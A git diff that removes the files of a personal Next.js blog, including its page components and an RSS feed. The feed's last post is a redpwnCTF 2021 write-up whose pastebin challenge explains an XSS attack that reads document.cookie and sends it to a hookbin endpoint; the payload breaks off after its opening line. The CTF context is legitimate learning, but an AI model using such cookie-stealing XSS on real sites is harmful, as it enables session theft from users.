- "react-syntax-highlighter": "^15.4.3",
- "rehype-raw": "^5.1.0",
- "remark-gfm": "^1.0.0",
- "use-mousetrap": "^1.0.4"
- },
- "devDependencies": {
- "@types/node": "^14.14.36",
- "@types/react": "^17.0.3",
- "typescript": "^4.2.3"
- }
-}
diff --git a/pages/_app.tsx b/pages/_app.tsx
deleted file mode 100644
index a6c53d3..0000000
--- a/pages/_app.tsx
+++ /dev/null
@@ -1,34 +0,0 @@
-import Head from 'next/head';
-import { useEffect, useState } from 'react';
-
-import '../styles/button.css';
-import '../styles/card.css';
-import '../styles/code.css';
-import '../styles/globals.css';
-import '../styles/image.css';
-import '../styles/layout.css';
-import '../styles/navbar.css';
-import '../styles/print.css';
-import '../styles/search.css';
-import '../styles/tags.css';
-import '../styles/theme.css';
-
-export default function Blog({ Component, pageProps }) {
- var [dark, setDark] = useState(false);
- useEffect(() => {
- let colorSchemeQueryList = window.matchMedia('(prefers-color-scheme: dark)');
- setDark(!!colorSchemeQueryList.matches);
- colorSchemeQueryList.addEventListener('change', e => setDark(!!e.matches));
- }, []);
-
- return <>
- <Head>
- <html lang='en-US' />
- <link rel='preload' as='style' href='/font/font.css' onLoad={() => this.rel = 'stylesheet'} />
- <meta property='og:url' content='https://blog.pipeframe.xyz' />
- <meta property='og:type' content='website' />
- <meta name='theme-color' content={dark ? '#0D0C1A' : '#EFE9F4'} />
- </Head>
- <Component {...pageProps} />
- </>;
-}
diff --git a/pages/index.tsx b/pages/index.tsx
deleted file mode 100644
index 634950d..0000000
--- a/pages/index.tsx
+++ /dev/null
@@ -1,101 +0,0 @@
-import Head from 'next/head';
-import Button from '../components/button';
-import PostCard from '../components/card';
-import Chapters, { chapter } from '../components/chapters';
-import Navbar, { MobileNavbar, NavbarItem } from '../components/navbar';
-import Seperator from '../components/seperator';
-import { ArticleMeta, getStaticProps as getBlogPage, RenderedArticle } from './post/[id]';
-import { PostsInfo } from './search';
-
-import { useEffect, useState } from 'react';
-
-// edit this to change the post displayed on the home page and the pinned posts
-var posts = ['index', 'software'];
-
-export default function Home(props: {
- posts: Array<{
- props: {
- content: string;
- meta: ArticleMeta;
- };
- }>;
-}) {
- var [posts, setPosts] = useState<PostsInfo>({ posts: [], valid_tags: [] });
-
- useEffect(() => {
- (async () => {
- var posts = await fetch('/posts.json');
- var postsJson: PostsInfo = await posts.json();
- setPosts(postsJson);
- })();
- }, []);
-
- return <div>
- <Head>
- <title>Loek's Blog</title>
- <meta property='og:site_name' content="Loek's blog" />
- <meta property='og:title' content="Loek's excruciatingly interesting blog" />
- <meta property='og:description' content='This is my personal blog website' />
- </Head>
- <div className='centeredPage'>
- <div className='titleWrapper'>
- <h1>{props.posts[0].props.meta.title}</h1>
- </div>
- <div className='navAreaWrapper'>
- <div className='sticky'>
- <Navbar page='home' />
- <NavbarItem title='Pinned posts:' classList={['pinned']} />
- <Chapters
- chapters={[
- ...props.posts.slice(1).map(post => {
- return {
- children: post.props.meta.chapters,
- name: post.props.meta.title,
- sectionLink: '/post/' + post.props.meta.id,
- } as chapter;
- }),
- ]}
- />
- </div>
- </div>
- <MobileNavbar />
- <div className='contentWrapper'>
- {props.posts.map((post, index) => {
- return <>
- {index != 0 && <h1>{post.props.meta.title}</h1>}
- <RenderedArticle content={post.props.content} />
- {index + 1 != props.posts.length && <Seperator />}
- {index == 0 && <>
- <h2>Recent posts</h2>
- <div className='recentPosts'>
- {posts.posts.sort((a, b) => (
- new Date(a.date).getTime() -
- new Date(b.date).getTime()
- )).reverse().slice(0, 4).map(post => {
- return <PostCard post={post} />;
- })}
- </div>
-
- <div>
- <Button text='Go to all posts' href='/search' />
- </div>
- <Seperator />
- </>}
- </>;
- })}
- </div>
- </div>
- </div>;
-}
-
-export function getStaticProps() {
- var postsContent = [];
-
- posts.forEach(id => {
- postsContent.push(getBlogPage({ params: { id } }));
- });
-
- var staticProps = { props: { posts: postsContent } };
-
- return staticProps;
-}
diff --git a/pages/post/[id].tsx b/pages/post/[id].tsx
deleted file mode 100644
index 35a41e6..0000000
--- a/pages/post/[id].tsx
+++ /dev/null
@@ -1,216 +0,0 @@
-import Head from 'next/head';
-import { readdirSync, readFileSync } from 'fs';
-import { join } from 'path';
-import { CSSProperties, ReactNode, useState } from 'react';
-import ReactMarkdown from 'react-markdown';
-import { Prism as SyntaxHighlighter } from 'react-syntax-highlighter';
-import rehypeRaw from 'rehype-raw';
-import gfm from 'remark-gfm';
-
-import Chapters, { chapter } from '../../components/chapters';
-import Image from '../../components/image';
-import Navbar, { MobileNavbar } from '../../components/navbar';
-import Seperator from '../../components/seperator';
-import Tags from '../../components/tag';
-
-export interface ArticleMeta {
- title?: string;
- subtitle?: string;
- author?: string;
- tags?: Array<string>;
- date?: string;
- chapters?: Array<chapter>;
- cover?: string;
- id?: string;
-}
-
-var headingLevel = (input: string) => input?.match(/^[#]+/)[0]?.length || 0;
-
-var sectionID = (input: string) =>
- input
- .replace(/[()\[\]{}!@#$%^&*<>?,./\;':"\\|=+]/g, '')
- .replace(/\s/g, '-')
- .toLowerCase();
-
-function Heading(props: {
- children?: ReactNode;
- level?: number;
-}) {
- var HeadingTag = 'h' + props.level as keyof JSX.IntrinsicElements;
- return <HeadingTag id={sectionID(props.children[0])} children={props.children} />;
-}
-
-function Code(props: {
- className?: string;
- children?: ReactNode;
-}) {
- var language = /language-(\w+)/.exec(props.className || '');
- if (!language) return <code children={props.children} className={props.className} />;
- return <SyntaxHighlighter
- language={language[1]}
- children={props.children.toString().trim()}
- useInlineStyles={false}
- PreTag='div'
- style={{}}
- />;
-}
-
-export function RenderedArticle(props: { content: string; }) {
- return <ReactMarkdown
- rehypePlugins={[rehypeRaw]}
- remarkPlugins={[gfm]}
- children={props.content}
- components={{
- img: ({ node, ...props }) => <Image src={props.src as string} alt={props.alt as string} />,
- hr: Seperator,
-
- h1: Heading, // TODO: fix this garbage
- h2: Heading,
- h3: Heading,
- h4: Heading,
- h5: Heading,
- h6: Heading,
-
- code: Code,
- }}
- />;
-}
-
-var collapsed = false;
-function toggle() {
- collapsed = !collapsed;
- document.documentElement.style.setProperty('--collapse-horizontal-gap', Number(collapsed).toString());
-}
-
-export default function Post(props: {
- content: string;
- meta: ArticleMeta;
-}) {
- return <div>
- <Head>
- <title>{props.meta.title} - Loek's Blog</title>
- <meta property='og:site_name' content={props.meta.date} />
- <meta property='og:title' content={props.meta.title} />
- <meta property='og:description' content={props.meta.subtitle} />
- </Head>
- <div className='centeredPage'>
- <div className='titleWrapper'>
- <h1 onClick={toggle}>{props.meta.title}</h1>
- <p className='subtile'>{props.meta.subtitle}</p>
- {props.meta.tags && <Tags tags={props.meta.tags} />}
- </div>
- <div className='navAreaWrapper'>
- <div className='sticky'>
- <Navbar />
- <Chapters chapters={props.meta.chapters} />
- </div>
- </div>
- <MobileNavbar />
- <div className='contentWrapper'>
- <RenderedArticle content={props.content} />
- </div>
- </div>
- </div>;
-}
-
-var parseTag = {
- 'title': (val: string) => val,
- 'subtitle': (val: string) => val,
- 'author': (val: string) => val,
- 'cover': (val: string) => val,
- 'tags': (val: string) => val.split(',').map(i => i.trim()),
- 'date': (val: string) => new Date(val).toDateString(),
-};
-
-function parseMeta(file: Array<string>): ArticleMeta {
- var meta: ArticleMeta = {};
-
- file.forEach(line => {
- if (!line.startsWith('[meta]: ')) return;
- var tags = line.match(/\[meta\]:\s+\<(.+?)\>\s+\((.+?)\)/);
- if (!tags || !tags[1] || !tags[2]) return;
- if (!parseTag.hasOwnProperty(tags[1])) return;
- meta[tags[1]] = parseTag[tags[1]](tags[2]);
- });
-
- return meta;
-}
-
-function parseToCRecursive(headings: Array<string>): Array<chapter> {
- interface WIPchapter extends chapter {
- unparsedChildren?: Array<string>;
- }
- var children: Array<WIPchapter> = [];
-
- var lowestLevel = headingLevel(headings[0]);
- var currentChildIndex = -1;
- for (var i in headings) {
- var localLevel = headingLevel(headings[i]);
- if (localLevel == lowestLevel) {
- var chapterName = headings[i].match(/^[#]+\s+(.+)/)[1];
- children.push({
- name: chapterName,
- sectionLink: '#' + sectionID(chapterName),
- unparsedChildren: [],
- });
- currentChildIndex += 1;
- } else {
- children[currentChildIndex].unparsedChildren.push(headings[i]);
- }
- }
-
- children.map(child => {
- child.children = parseToCRecursive(child.unparsedChildren);
- delete child.unparsedChildren;
-
- return child;
- });
-
- return children as Array<chapter>;
-}
-
-function parseToC(file: Array<string>): Array<chapter> {
- var fileAsStr = file.join('\n');
- fileAsStr = fileAsStr.replace(/```.*?```/gs, ''); // filter out code blocks from table of contents
- var fileAsArr = fileAsStr.split('\n');
- var chapterStrings = fileAsArr.filter(line => line.startsWith('#'));
- return parseToCRecursive(chapterStrings);
-}
-
-function preprocessor(fileContent: string) {
- var fileAsArr = fileContent.split('\n');
- var meta = parseMeta(fileAsArr);
- meta.chapters = parseToC(fileAsArr);
- var result = fileAsArr.join('\n').trim();
- return { meta, result };
-}
-
-export function getStaticProps(props: { params: { id: string; }; }) {
- var filename = join('posts/', props.params.id + '.md');
- var filecontent = readFileSync(filename).toString().trim();
-
- var parsed = preprocessor(filecontent);
- parsed.meta.id = props.params.id;
-
- return {
- props: {
- content: parsed.result,
- meta: parsed.meta,
- },
- };
-}
-
-export function getStaticPaths() {
- var files = readdirSync('posts').filter(f => f.endsWith('.md'));
-
- return {
- paths: files.map((f) => {
- return {
- params: {
- id: f.substr(0, f.length - 3),
- },
- };
- }),
- fallback: false,
- };
-}
diff --git a/pages/search.tsx b/pages/search.tsx
deleted file mode 100644
index 14f5e15..0000000
--- a/pages/search.tsx
+++ /dev/null
@@ -1,170 +0,0 @@
-import Head from 'next/head';
-import Fuse from 'fuse.js';
-import { useEffect, useState } from 'react';
-
-import Navbar, { MobileNavbar } from '../components/navbar';
-import Tags from '../components/tag';
-
-import SearchOutlinedIcon from '@material-ui/icons/SearchOutlined';
-
-function SearchBar(props: { searchFunction: () => void; }) {
- return <div className='searchBar'>
- <input
- className='input'
- id='searchInput'
- placeholder='Search for posts...'
- onChange={() => props.searchFunction()}
- spellCheck='false'
- autoComplete='off'
- />
- <button className='button' onClick={() => props.searchFunction()}>
- <SearchOutlinedIcon />
- </button>
- </div>;
-}
-
-export interface Post {
- title: string;
- subtitle: string;
- author: string;
- date: string;
- id: string;
- cover: string;
- tags: Array<string>;
-}
-
-export interface PostsInfo {
- valid_tags: Array<string>;
- posts: Array<Post>;
-}
-
-function Post(props: { post: Post; }) {
- return <a className='post' href={'/post/' + props.post.id}>
- <b className='title'>{props.post.title}</b>
- {props.post.subtitle && <p className='subtitle'>{props.post.subtitle}</p>}
- <p className='authordate'>
- Written by {props.post.author} on {new Date(props.post.date).toLocaleString('en-us', {
- month: 'long',
- day: 'numeric',
- })}
- </p>
- <Tags tags={props.post.tags} />
- </a>;
-}
-
-function Posts(props: { posts: Array<Post>; }) {
- return <div className='searchResults'>
- {props.posts.map(post => <Post post={post} key={Math.random().toString()} />)}
- </div>;
-}
-
-function searchFilter(query: string, tags: Array<string>) {
- var output = {
- query: '',
- tags: [],
- };
-
- // remove string literals from tag matching
- var queryWithoutLiterals = query.replace(/\".+?\"/g, '');
-
- // find tags and remove them from the query
- tags.forEach(tag => {
- var index = queryWithoutLiterals.indexOf(tag);
- if (index == -1) return;
-
- // remove tag from query
- queryWithoutLiterals = queryWithoutLiterals.substr(0, index)
- + queryWithoutLiterals.substr(index + tag.length);
-
- output.tags.push(tag);
- });
-
- // add back in the string literals (janky just gets pasted on end)
- output.query = queryWithoutLiterals + ' '
- + (query.match(/\".+?\"/g)
- ?.map(r => r.substr(1, r.length - 2))
- .join(' ') || '');
- return output;
-}
-
-export default function SearchPage() {
- var [posts, setPosts] = useState<PostsInfo>({ posts: [], valid_tags: [] });
- var [query, setQuery] = useState('-');
- var [visiblePosts, setVisiblePosts] = useState<Array<Post>>([]);
-
- var fuse = new Fuse(posts.posts, {
- keys: [
- 'title',
- 'subtitle',
- 'author',
- 'date',
- 'id',
- 'tags',
- ],
- isCaseSensitive: false,
- });
-
- useEffect(() => {
- (async () => {
- var query = new URLSearchParams(window.location.search).get('q') || '';
- if (query) {
- (document.getElementById('searchInput') as HTMLInputElement).value = query;
- }
-
- var posts = await fetch('/posts.json');
- var postsJson: PostsInfo = await posts.json();
- setPosts(postsJson);
- setQuery(query);
- })();
- }, []);
-
- useEffect(() => {
- var search = searchFilter(query, posts.valid_tags);
-
- if (search.query.length == 0) {
- var results = posts.posts;
- } else {
- var fuseSearch = fuse.search(search.query);
- var results = fuseSearch.map(res => res.item);
- }
-
- results = results.filter(result => {
- for (var i in search.tags) {
- if (!result.tags.includes(search.tags[i])) {
- return false;
- }
- }
- return true;
- });
- results = results.sort((a, b) => new Date(b.date).getTime() - new Date(a.date).getTime());
- setVisiblePosts(results);
- }, [query]);
-
- return <div>
- <Head>
- <title>Search - Loek's Blog</title>
- <meta property='og:site_name' content="Loek's blog" />
- <meta property='og:title' content="Loek's excruciatingly interesting blog" />
- <meta property='og:description' content='This is my personal blog website' />
- </Head>
- <div className='centeredPage'>
- <div className='titleWrapper'>
- <h1>Search for posts</h1>
- </div>
- <div className='navAreaWrapper'>
- <div className='sticky'>
- <Navbar page='search' />
- </div>
- </div>
- <MobileNavbar />
- <div className='contentWrapper'>
- <SearchBar
- searchFunction={() => {
- setTimeout(() => setQuery((document.getElementById('searchInput') as HTMLInputElement).value));
- }}
- />
- <Posts posts={visiblePosts} />
- </div>
- </div>
- </div>;
-}
diff --git a/public/atom.xml b/public/atom.xml
deleted file mode 100644
index 9f9430b..0000000
--- a/public/atom.xml
+++ /dev/null
@@ -1,4403 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<rss xmlns:atom="http://www.w3.org/2005/Atom" version="2.0">
- <channel>
- <title>Loek's excruciatingly interesting blog</title>
- <description>This is where I post updates on things that I do</description>
- <language>en-us</language>
- <link>https://blog.pipeframe.xyz/atom.xml</link>
- <atom:link href="https://blog.pipeframe.xyz/atom.xml" rel="self" type="application/rss+xml"/>
- <item>
- <title>Connect 4 beta live!</title>
- <guid>connect4</guid>
- <link>/post/connect4</link>
- <pubDate>April 24 2021</pubDate>
- <description>&lt;div class="contentWrapper"&gt;
- &lt;p&gt;
- My connect four website is currently online as a public beta. You can visit the
-website at
- &lt;a href="https://connect4.pipeframe.xyz"&gt;
- https://connect4.pipeframe.xyz
- &lt;/a&gt;
- . A list of known bugs is on the
-homepage, and all other issues should be submitted to
- &lt;a href="https://github.com/lonkaars/connect-4/issues"&gt;
- GitHub
- &lt;/a&gt;
- .
- &lt;/p&gt;
- &lt;p&gt;
- If I encounter some very interesing bug that I think deserves it's own blog
-post I'll write one about it of course. I have one more week from now to worry
-about the connect four website, but after that I'm going to start preparing for
-my school exams.
- &lt;/p&gt;
-&lt;/div&gt;</description>
- </item>
- <item>
- <title>My git setup</title>
- <guid>git</guid>
- <link>/post/git</link>
- <pubDate>April 28 2021</pubDate>
- <description>&lt;div class="contentWrapper"&gt;
- &lt;h2 id="overview"&gt;
- Overview
- &lt;/h2&gt;
- &lt;p&gt;
- I have two mechanisms set up for accessing my git server. I use gitolite for
-ssh access and permission management. I also have cgit set up which generates
-html pages for viewing your repositories and also hosts your repositories over
-http, or https if you have it set up.
- &lt;/p&gt;
- &lt;h2 id="ssh-access-with-gitolite"&gt;
- SSH Access with gitolite
- &lt;/h2&gt;
- &lt;p&gt;
- Gitolite was a pain in the ass to set up because I didn't understand umasks
-before I started trying to set it up. A
- &lt;em&gt;
- umask
- &lt;/em&gt;
- is like the opposite of what
-you'd enter when running
- &lt;code&gt;
- chmod
- &lt;/code&gt;
- . For example: if I run
- &lt;code&gt;
- touch test
- &lt;/code&gt;
- , I will
-now have a file with the same permissions as
- &lt;code&gt;
- chmod 644
- &lt;/code&gt;
- . That looks something
-like this:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-sh" style="white-space:pre"&gt;
- &lt;span class=""&gt;
- $ touch test
- &lt;/span&gt;
- $ ls -l
- &lt;!-- --&gt;
- total bla bla
- &lt;!-- --&gt;
- -rw-r--r-- 1 loek users 0 Apr 28 12:28 test
- &lt;!-- --&gt;
- $ chmod 644 test
- &lt;!-- --&gt;
- $ ls -l
- &lt;!-- --&gt;
- total bla bla
- &lt;!-- --&gt;
- -rw-r--r-- 1 loek users 0 Apr 28 12:28 test
- &lt;!-- --&gt;
- $ # notice the same permissions on the 'test' file
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- If I want gitolite to create repositories with default permissions so other
-users can read the repositories, I have to set my umask to the opposite of 644.
-Here's a quick explanation of
- &lt;code&gt;
- ls -l
- &lt;/code&gt;
- 's output:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-sh" style="white-space:pre"&gt;
- &lt;span class=""&gt;
- -rw-r--r-- * user group size date time filename
- &lt;/span&gt;
- |└┬┘└┬┘└┬┘
- &lt;!-- --&gt;
- | | | └all users
- &lt;!-- --&gt;
- | | └owner group
- &lt;!-- --&gt;
- | └owner user
- &lt;!-- --&gt;
- └type
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Each digit in a
- &lt;code&gt;
- chmod
- &lt;/code&gt;
- command sets the permission for the file owner, file
-group, then everyone. That looks something like this:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-sh" style="white-space:pre"&gt;
- &lt;span class=""&gt;
- $ chmod 644 test
- &lt;/span&gt;
- &lt;!-- --&gt;
- decimal: 6 4 4
- &lt;!-- --&gt;
- binary: 110 100 100
- &lt;!-- --&gt;
- ls -l: - rw- r-- r--
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- Then we take the opposite of this to get the umask:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-sh" style="white-space:pre"&gt;
- &lt;span class=""&gt;
- $ chmod 755 directory -R
- &lt;/span&gt;
- &lt;!-- --&gt;
- ls -l: d rwx r-x r-x
- &lt;!-- --&gt;
- binary: 000 010 010
- &lt;!-- --&gt;
- decimal: 0 2 2
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;p&gt;
- And now my
- &lt;code&gt;
- .gitolite.rc
- &lt;/code&gt;
- :
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-perl" style="white-space:pre"&gt;
- &lt;span class="token variable"&gt;
- %RC
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- (
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- UMASK
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 0022
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- ROLES
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- {
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- READERS
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 1
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- WRITERS
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 1
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- }
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- ENABLE
- &lt;/span&gt;
- &lt;span class="token operator"&gt;
- =&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- [
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'ssh-authkeys'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'git-config'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'daemon'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token string"&gt;
- 'gitweb'
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ]
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ,
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- )
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class=""&gt;
- &lt;/span&gt;
- &lt;span class="token number"&gt;
- 1
- &lt;/span&gt;
- &lt;span class="token punctuation"&gt;
- ;
- &lt;/span&gt;
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
- &lt;h2 id="https-access-with-cgit"&gt;
- HTTP(S) Access with cgit
- &lt;/h2&gt;
- &lt;p&gt;
- Cgit is probably the easiest thing to set up. It has great built-in
-documentation (
- &lt;code&gt;
- man 5 cgitrc
- &lt;/code&gt;
- ). Pretty much all configuration is in
- &lt;code&gt;
- /etc/cgitrc
- &lt;/code&gt;
- (css/syntax highlighting isn't in there). The only reason I'm
-posting my config here is because for some reason, the order of the options in
-cgit's config matters:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-rc" style="white-space:pre"&gt;
- &lt;span class=""&gt;
- #
- &lt;/span&gt;
- # cgit config
- &lt;!-- --&gt;
- # see cgitrc(5) for details
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- cache-size=0
- &lt;!-- --&gt;
- enable-commit-graph=1
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- css=/cgit.css
- &lt;!-- --&gt;
- logo=/cgit.png
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- virtual-root=/
- &lt;!-- --&gt;
- remove-suffix=1
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- root-title=git :tada:
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- ##
- &lt;!-- --&gt;
- ## List of common mimetypes
- &lt;!-- --&gt;
- ##
- &lt;!-- --&gt;
- mimetype.gif=image/gif
- &lt;!-- --&gt;
- mimetype.html=text/html
- &lt;!-- --&gt;
- mimetype.jpg=image/jpeg
- &lt;!-- --&gt;
- mimetype.jpeg=image/jpeg
- &lt;!-- --&gt;
- mimetype.pdf=application/pdf
- &lt;!-- --&gt;
- mimetype.png=image/png
- &lt;!-- --&gt;
- mimetype.svg=image/svg+xml
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- # Highlight source code with python pygments-based highlighter
- &lt;!-- --&gt;
- source-filter=/usr/lib/cgit/filters/syntax-highlighting.py
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- # Format markdown, restructuredtext, manpages, text files, and html files
- &lt;!-- --&gt;
- # through the right converters
- &lt;!-- --&gt;
- about-filter=/usr/lib/cgit/filters/about-formatting.sh
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- ##
- &lt;!-- --&gt;
- ## Search for these files in the root of the default branch of repositories
- &lt;!-- --&gt;
- ## for coming up with the about page:
- &lt;!-- --&gt;
- ##
- &lt;!-- --&gt;
- readme=:README.md
- &lt;!-- --&gt;
- readme=:readme.md
- &lt;!-- --&gt;
- readme=:README.rst
- &lt;!-- --&gt;
- readme=:readme.rst
- &lt;!-- --&gt;
- readme=:README.txt
- &lt;!-- --&gt;
- readme=:readme.txt
- &lt;!-- --&gt;
- readme=:README
- &lt;!-- --&gt;
- readme=:readme
- &lt;!-- --&gt;
- readme=:INSTALL.md
- &lt;!-- --&gt;
- readme=:install.md
- &lt;!-- --&gt;
- readme=:INSTALL.mkd
- &lt;!-- --&gt;
- readme=:install.mkd
- &lt;!-- --&gt;
- readme=:INSTALL.rst
- &lt;!-- --&gt;
- readme=:install.rst
- &lt;!-- --&gt;
- readme=:INSTALL.html
- &lt;!-- --&gt;
- readme=:install.html
- &lt;!-- --&gt;
- readme=:INSTALL.htm
- &lt;!-- --&gt;
- readme=:install.htm
- &lt;!-- --&gt;
- readme=:INSTALL.txt
- &lt;!-- --&gt;
- readme=:install.txt
- &lt;!-- --&gt;
- readme=:INSTALL
- &lt;!-- --&gt;
- readme=:install
- &lt;!-- --&gt;
- &lt;!-- --&gt;
- scan-path=/mnt/scf/git/repositories
- &lt;/code&gt;
- &lt;/div&gt;
- &lt;/pre&gt;
-&lt;/div&gt;</description>
- </item>
- <item>
- <title>Loek's excruciatingly interesting blog</title>
- <guid>index</guid>
- <link>/post/index</link>
- <pubDate>April 12 2021</pubDate>
- <description>&lt;div class="contentWrapper"&gt;
- &lt;p&gt;
- Welcome to my blog page! This is where I post updates on things that I do such
-as:
- &lt;/p&gt;
- &lt;ul&gt;
- &lt;li&gt;
- Cool open source software that I think you should use
- &lt;/li&gt;
- &lt;li&gt;
- How to set up self-hosted applications
- &lt;/li&gt;
- &lt;li&gt;
- Rants about Microsoft Windows
- &lt;/li&gt;
- &lt;li&gt;
- Maybe some recipes I dunno
- &lt;/li&gt;
- &lt;/ul&gt;
- &lt;p&gt;
- The page you're looking at right now is also open-source! The code for this
-page can be found on
- &lt;a href="https://github.com/lonkaars/blog"&gt;
- GitHub
- &lt;/a&gt;
- , and should
-also be available on
- &lt;a href="https://git.pipeframe.xyz"&gt;
- my private git server
- &lt;/a&gt;
- .
- &lt;/p&gt;
-&lt;/div&gt;</description>
- </item>
- <item>
- <title>redpwnCTF 2021</title>
- <guid>redpwn2021</guid>
- <link>/post/redpwn2021</link>
- <pubDate>July 13 2021</pubDate>
- <description>&lt;div class="contentWrapper"&gt;
- &lt;p&gt;
- This is the first 'real' CTF I've participated in. About two weeks ago, a
-friend of mine was stuck on some challenges from the Radboud CTF. This was a
-closed CTF more geared towards beginners (high school students), and only had a
-few challenges which required deeper technical knowledge of web servers and
-programming. Willem solved most of the challenges, and I helped solve 3 more.
- &lt;/p&gt;
- &lt;p&gt;
- Apart from those challenges, basically all my hacking knowledge comes from
-computerphile videos, liveoverflow videos and making applications myself.
- &lt;/p&gt;
- &lt;h2 id="challenges"&gt;
- Challenges
- &lt;/h2&gt;
- &lt;h3 id="webpastebin-1"&gt;
- web/pastebin-1
- &lt;/h3&gt;
- &lt;p&gt;
- This challenge is a simple XSS exploit. The website that's vulnerable is
-supposed to be a clone of pastebin. I can enter any text into the paste area,
-and it will get inserted as HTML code into the website when someone visits the
-generated link.
- &lt;/p&gt;
- &lt;p&gt;
- The challenge has two sites: one with the pastebin clone, and one that visits
-any pastebin url as the website administrator. The goal of this challenge is
-given by it's description:
- &lt;/p&gt;
- &lt;blockquote&gt;
- &lt;p&gt;
- Ah, the classic pastebin. Can you get the admin's cookies?
- &lt;/p&gt;
- &lt;/blockquote&gt;
- &lt;p&gt;
- In JS, you can read all cookies without the
- &lt;code&gt;
- HttpOnly
- &lt;/code&gt;
- attribute by reading
- &lt;code&gt;
- document.cookie
- &lt;/code&gt;
- . This allows us to read the cookies from the admin's browser,
-but now we have to figure out a way to get them sent back to us.
- &lt;/p&gt;
- &lt;p&gt;
- Luckily, there's a free service called
- &lt;a href="https://hookbin.com/"&gt;
- hookbin
- &lt;/a&gt;
- that
-gives you an http endpoint to send anything to, and look at the request
-details.
- &lt;/p&gt;
- &lt;p&gt;
- Combining these two a simple paste can be created:
- &lt;/p&gt;
- &lt;pre&gt;
- &lt;div class="prismjs"&gt;
- &lt;code class="language-html" style="white-space:pre"&gt;
- &lt;span class="token tag punctuation"&gt;
- &lt;
- &lt;/span&gt;
- &lt;span class="token tag"&gt;
- script
- &lt;/span&gt;
- &lt;span class="token tag punctuation"&gt;
- &gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript"&gt;
- &lt;/span&gt;
- &lt;span class="token script language-javascript keyword"&gt;
- var
- &lt;/span&gt;
